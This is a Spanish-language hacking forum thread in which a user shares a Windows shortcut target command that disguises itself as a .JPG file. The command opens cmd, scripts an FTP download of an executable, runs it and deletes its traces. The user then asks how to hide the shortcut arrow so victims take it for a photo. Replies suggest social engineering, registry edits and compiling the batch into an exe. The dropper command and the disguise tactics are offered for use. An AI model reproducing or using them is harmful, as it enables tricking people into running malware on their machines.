Ejecutar comandos cmd desde un Acceso Directo en Windows

Iniciado por ikary, 7 Noviembre 2009, 05:44 AM

0 Miembros y 1 Visitante están viendo este tema.

ikary

Saludos

LLevo tiempo dandole vueltas al modo de ejecutar codigo desde un archivo .JPG o .TXT

E estado leyendo mucho y Googleando mas y por lo que e visto e llegado a la conclusion de que NO SE PUEDE, (o quizas no e buscado suficiente).

El hecho es que investigando ya por mi cuenta, me di cuenta que desde un acceso directo .JPG por ejemplo, se puede redirigir la ruta hacia donde queramos (incluso un .EXE) y el acceso directo sigue manteniendo su extension .JPG (ademas de la extension oculta .lnk).

Hasta el momento lo unico que e conseguido es abrir una cmd, conectarse a un servidor ftp, descargar un fichero, ejecutarlo y borrar huellas desde un Acceso Directo con extension .JPG.lnk.

El codigo que use dentro del campo Destino del AD fue este:
%windir%\system32\cmd.exe /k echo get archivo.exe>>ftp.txt && echo quit>>ftp.txt && ftp -A -s:ftp.txt 127.0.0.1 && start archivo.exe && del ftp.txt

Simplemente y a modo de prueba, el acceso directo accede al cmd.exe local, crea un fichero ftp.txt que usara el cliente ftp para conectarse, se conecta, descarga el archivo "archivo.exe" y lo ejecuta.

Ahora los problemas son:

1- El Acceso Directo debe permanecer siempre en el mismo ordenador que el archivo original. Me explico: Si metemos el acceso directo en un .rar, el winrar lo convierte a un .exe, y si enviamos el acceso directo a otra maquina, tambien la reconoce como .exe.
    Sin embargo, si metemos en un .rar el acceso directo y el archivo original, este conservará su extension .jpg.lnk. E igualmete pasa al enviarlo.

2- El Acceso Directo al crearse se le añade una etiqueta con la flechita predeterminada de Acceso Directo en la esquina inferior izquierda, dando una señal de que no es una foto original, sino algo extraño.
    E intentado con varios programas editar los atributos del archivo, pero mas tarde me di cuenta de que esa "flechita" se pone automaticamente por una entrada del registro de Windows.   
    Esta entrada se puede modificar en la maquina local, pero al pasar el fichero a otra maquina, esta le coloca la "flechita" otra vez ...logico  ;-)

3- Ademas de la "flechita", el archivo por ser un AD, se le añade un grande y claro atributo de "Acceso directo" debajo del nombre del archivo.

4- E intentado modificar las propiedades del fichero mediante programas expecificos para ello, pero como es logico, toman al Acceso directo como si fuese una cmd.exe, por lo tanto estaria modificando el archivo equivocado  >:(

Ahora mi pregunta es: ¿Hay alguna forma de modificar ese fichero para que sea (de alguna forma) invisible los atributos de Acceso directo?. ¿O alguna idea u opinion al respecto?

Bueno, desde ya, muchas gracias.

Un saludo. Ikary

ikary


kamsky

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

ikary

Bueno, gracias por contestar pero...
No leiste el post completo verdad?   :P

La pregunta era si se podia, de alguna forma, quitar el "simbolo de la flechita" de acceso directo de Windows.

kamsky

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

ikary

#5
Eso tambien lo ponia en mi post...

Cita de: ikary en  7 Noviembre 2009, 05:44 AM
me di cuenta de que esa "flechita" se pone automaticamente por una entrada del registro de Windows.  
   Esta entrada se puede modificar en la maquina local, pero al pasar el fichero a otra maquina, esta le coloca la "flechita" otra vez ...logico  ;-)


Ahora mi pregunta es: ¿Hay alguna forma de modificar ese fichero para que sea (de alguna forma) invisible los atributos de Acceso directo?. ¿O alguna idea u opinion al respecto?


De todas formas creo que no tiene solucion mi pregunta XDDD

Gracias igualmente por contestar  :D

kamsky

pero igual que lo modificas en local, lo puedes modificar en remoto... sólo tienes que echarle un poco de imaginación y un poquito de ingeniería social
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

Castg!

podrias agregar un reg del a tu codigo, o sino ya fue, hacete un exe. es mucho mas practico  ;-) . te recomiendo el quick batch file compiler.